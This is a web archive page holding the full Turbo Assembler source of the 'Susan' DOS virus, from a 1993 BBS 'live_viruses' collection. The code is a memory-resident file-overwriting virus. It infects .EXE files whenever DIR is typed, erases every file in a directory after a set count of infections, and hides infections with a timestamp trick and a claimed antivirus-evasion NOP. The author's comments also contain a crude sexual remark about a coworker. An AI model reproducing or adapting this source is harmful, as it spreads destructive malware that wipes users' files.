home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
The Unsorted BBS Collection
/
thegreatunsorted.tar
/
thegreatunsorted
/
live_viruses
/
virus_collections
/
susan1.asm
< prev
next >
Wrap
Assembly Source File
|
1993-02-23
|
12KB
|
389 lines
Susan virus: included in Crypt Newsletter 13
COMMENT *
Susan Virus, Strain A
Written by NB
This program needs to be assembled with Turbo Assembler.
Special thanks go to Richard S. Sadowsky of TurboPower Software
for the help on using INT 2F with those majick functions!
This is an example of an interesting technique for writing a virus
that is terminate-and-stay-resident.
Description:
Susan is a file overwrite virus. Named for a woman in my department
who is overly concerned about virii, but has no idea about what the
fuck they actually are. She also has real nice tits. This is a TSR
that only infects .EXE files. Each time the user types "DIR", the
first .EXE file found is infected. After 15 such infections, then
each time DIR is typed, all files are erased in that directory.
Infected .EXEs are destroyed and will not run. Attempts to run them
will display the message "Bad command or file name" message.
Interesting Features:
- File size and date-stamp of infected file is maintained.
- Uses Vienna Virus technique of using the file time to determine
if a target file is infected.
- Infects and zaps everytime the user types a plain DIR command.
- Hooks INT 2F for handling the DIR command.
- Hooks INT 2F AX=010F (PRINT.COM int) to determine if the virus in
installed in memory.
- Writes the bug directly from memory.
*
.model small
.code
LOCALS @@
ORG 100h ; for COM file
DTA STRUC ; used for file searching
dtaReserved db 21 dup (0)
dtaAttrib db 0
dtaTime dw 0
dtaDate dw 0
dtaSize dd 0
dtaName db 13 dup (0)
DTA ENDS
DPL STRUC ; DOS Parameter List used for undoc funcs
dplAX DW 0
dplBX DW 0
dplCX DW 0
dplDX DW 0
dplSI DW 0
dplDI DW 0
dplDS DW 0
dplES DW 0
dplCID DW 0 ; computer ID (0 = current system)
dplPID DW 0 ; process ID (PSP on specified computer)
DPL ENDS
Pointer STRUC ; nice structure for a pointer type
Ofst DW 0
Segm DW 0
Pointer ENDS
Start:
JMP Initialize
OurCommandLen EQU 3
PathOfs EQU 80h ; Use command tail of PSP as path buffer
FuckMeNow EQU 16
virSig dw 'uS' ; Don't delete this line...
virName db 'san' ; ...this is the Susan Virus!
EofMarker db 26
OldInt2F Pointer <>
FNameLen db 3
FileName db '*.*', 0
DeleteDPL DPL <>
FuckCount db 0
SaveDTA Pointer <>
TargetMask db '*.EXE', 0
Victim DTA <>
OurCmd db 'DIR', 0Dh
IsInfected:
; This will detect if the .exe is already infected. We are using
; a nifty technique pulled from the Vienna Virus. If the file's
; seconds is 62, then that file is infected.
MOV AX, Victim.dtaTime
AND AX, 1Fh
CMP AX, 1Fh ; >60 seconds
; JZ infected
; JNZ not infected
RET
SearchExec:
; Returns AX = 1 if a uninfected file found
XOR CX,CX ; Search for an .EXE file
MOV DX,OFFSET TargetMask ; DS has seg
MOV AH, 4Eh
INT 21h
JC @@AlreadyInfected ; No .exes in this directory
CALL IsInfected ; Is this file infected?
JNZ @@NotInfectedYET
; Need to look for next file (maybe next version, haha)
@@AlreadyInfected:
XOR AX, AX ; Zeros out AX
RET
@@NotInfectedYET:
MOV AX, 1 ; Return a <> Zero indicator: Boolean
RET
CopySelf:
MOV DX, OFFSET Victim.dtaName ; Open file for read/write
MOV AX, 4301h
MOV CX, 0 ; Clear all attributes to NORMAL
INT 21h
MOV AH, 3Dh ; Now open up the file... Don't worry now about nets
MOV AL, 2 ; read/write access
int 21h
MOV BX, AX
PUSH CS ; Write the virus to the start of the open file
POP DS
MOV DX,OFFSET Start ; Start of virus
MOV CX,1 + OFFSET EndOBug - OFFSET Start ; total size of virus
MOV AH,40h
NOP ; WOW! this NOP will suppresses McAfees' scan from
INT 21h ; thinking this is a VR [FR] virus!
MOV DX, Victim.dtaDate
MOV CX, Victim.dtaTime ; We gotta fix up the file's datestamp
MOV AX, 5701h
OR CX, 001Fh ; And set the time to 62 seconds!
INT 21h ; ala Vienna Virus
MOV AH, 3Eh ; Close up the file - we're done
INT 21h
RET
Manipulate:
PUSH AX ; Uh...Save registers?
PUSH DX
PUSH SI
PUSH DI
PUSH DS
PUSH ES
MOV SI,CS ; get Canonical pathname
MOV ES,SI
MOV DS,SI
CMP FuckCount, FuckMeNow ; Do we start the deletes or just infect?
JL @@InfectCity
MOV DI,PathOfs
MOV SI,OFFSET FileName ; Mask to delete
MOV AH,60h
INT 21h
MOV SI,OFFSET DeleteDPL ; Build DOS Parameter List
MOV [SI].dplAX,4100h
MOV AX,CS
MOV [SI].dplDS,AX
MOV [SI].dplDX,PathOfs
MOV [SI].dplES,0
MOV [SI].dplCID,0
MOV [SI].dplPID,AX
MOV DS,AX ; Make DOS Server Function Call
MOV DX,SI
MOV AX,5D00h
INT 21h
; Infect more here...
@@InfectCity:
MOV AH, 2FH ; get the current DTA address
INT 21h
MOV AX,ES
MOV SaveDTA.Segm, AX ; Save it
MOV SaveDTA.Ofst, BX
MOV DX, OFFSET victim ; Set DTA to this glob of memory
MOV AH, 1Ah
INT 21h
CALL SearchExec
CMP AX, 0
JZ @@InfectNot
CALL CopySelf
INC FuckCount ; Track the time until eating files...
PUSH DS ; Restore the DTA
MOV AX, SaveDTA.Segm
MOV DS, AX
MOV DX, SaveDTA.Ofst
MOV AH, 1Ah
INT 21h
POP DS
; And return to the way it was...
@@InfectNot:
POP ES
POP DS
POP DI
POP SI
POP DX
POP AX
; If you want the DOS command to not execute, then you just need to uncomment
; out the next line:
; MOV BYTE PTR [SI],0 ; clear out the command string
RET
; convert pascal style string in DS:SI to uppercase
UpperCaseSt:
PUSH CX
PUSH SI
XOR CX,CX
MOV CL,BYTE PTR [SI]
@@UpcaseCh: ; Oh well, not too hard...
INC SI
CMP BYTE PTR [SI],'a'
JB @@NotLower
CMP BYTE PTR [SI],'z'
JA @@NotLower
SUB BYTE PTR [SI],'a' - 'A'
@@NotLower:
LOOP @@UpcaseCh
POP SI
POP CX
RET
; zf set if match, zf not set if no match
IsMatch:
; NOTE: ds:bx has command line
; ofs 0 has max length of command line
; ofs 1 has count of bytes to follow command line text,
; terminated with 0Dh
PUSH CX
PUSH SI
PUSH DI
PUSH ES
MOV SI,BX
INC SI
CALL UpperCaseSt
INC SI
MOV CX,CS
MOV ES,CX
MOV DI,OFFSET OurCmd
MOV CX,OurCommandLen + 1
CLD
REPE CMPSB
POP ES
POP DI
POP SI
POP CX
RET
IsMatch2:
PUSH CX
PUSH SI
PUSH DI
PUSH ES
XOR CX,CX
MOV CL,BYTE PTR [SI]
INC SI
CMP CL,OurCommandLen
JNZ @@NotOurs
MOV DI,CS
MOV ES,DI
MOV DI,OFFSET OurCmd
CLD
REPE CMPSB
@@NotOurs:
POP ES
POP DI
POP SI
POP CX
RET
Int2FHandler:
CMP AX, 010Fh ; Am I installed?
JNZ CheckCmd
MOV AX, virSig
IRET
CheckCmd:
CMP AH,0AEh ; a nifty-c00l majick function
JNE @@ChainInt2F
CMP AL,0
JE @@CheckCommand
CMP AL,1
JE @@ExecuteCommand
@@ChainInt2F:
JMP DWORD PTR CS:[OldInt2F]
@@CheckCommand: ; Dos is checking if we are a valid command
CMP DX,0FFFFh
JNE @@ChainInt2F
CALL IsMatch
JNZ @@ChainInt2F
MOV AL,0FFh
IRET
@@ExecuteCommand: ; Dos says "yup! - Execute it!"
CMP DX,0FFFFh
JNE @@ChainInt2F
CALL IsMatch2
JNZ @@ChainInt2F
CALL Manipulate
IRET
Initialize:
MOV FuckCount, 0 ; Clear it since we may have written junk
MOV DX,OFFSET InstallMsg
MOV AH,09h
INT 21h
MOV AH,30h ; Check DOS version >= 3.3
INT 21h
XCHG AH,AL
CMP AX,0303h
JB @@InstallBad
; NOTE: This checks to see if we are already installed in memory.
; Basically, we have added a new subfunction to the PRINT funcs
; which returns my initials if installed.
MOV AX, 010Fh ; Check if we are installed
INT 2Fh
CMP AX, virSig
JZ @@InstallBad
MOV AX,352Fh ; Lets get and save int 2F
INT 21h
MOV OldInt2F.Ofst,BX
MOV OldInt2F.Segm,ES
MOV DX,OFFSET Int2FHandler ; And set it to ours
MOV AX,252Fh
INT 21h
MOV SI,2Ch
MOV AX,[SI] ; get segment of env's memory
MOV ES,AX
MOV AH,49h ; release environment block's memory
INT 21h
; NOTE: Normally, we would have something like OFFSET INITIALIZE but
; since we want to write the code from memory to disk, we have to
; keep the whole thing in memory.
MOV DX,OFFSET EndOBug
ADD DX,15
MOV CL,4
SHR DX,CL
MOV AX,3100h
INT 21h ; Terminate and stay resident!
@@InstallBad:
MOV AX,4C00h ; Just quit with no message - no sense telling what
INT 21h ; may have occured...
InstallMsg:
db 'Bad command or file name', 0Dh, 0Ah
EndOBug db '$' ; Very important (tho lame) - Do not remove!
_TEXT ENDS
END Start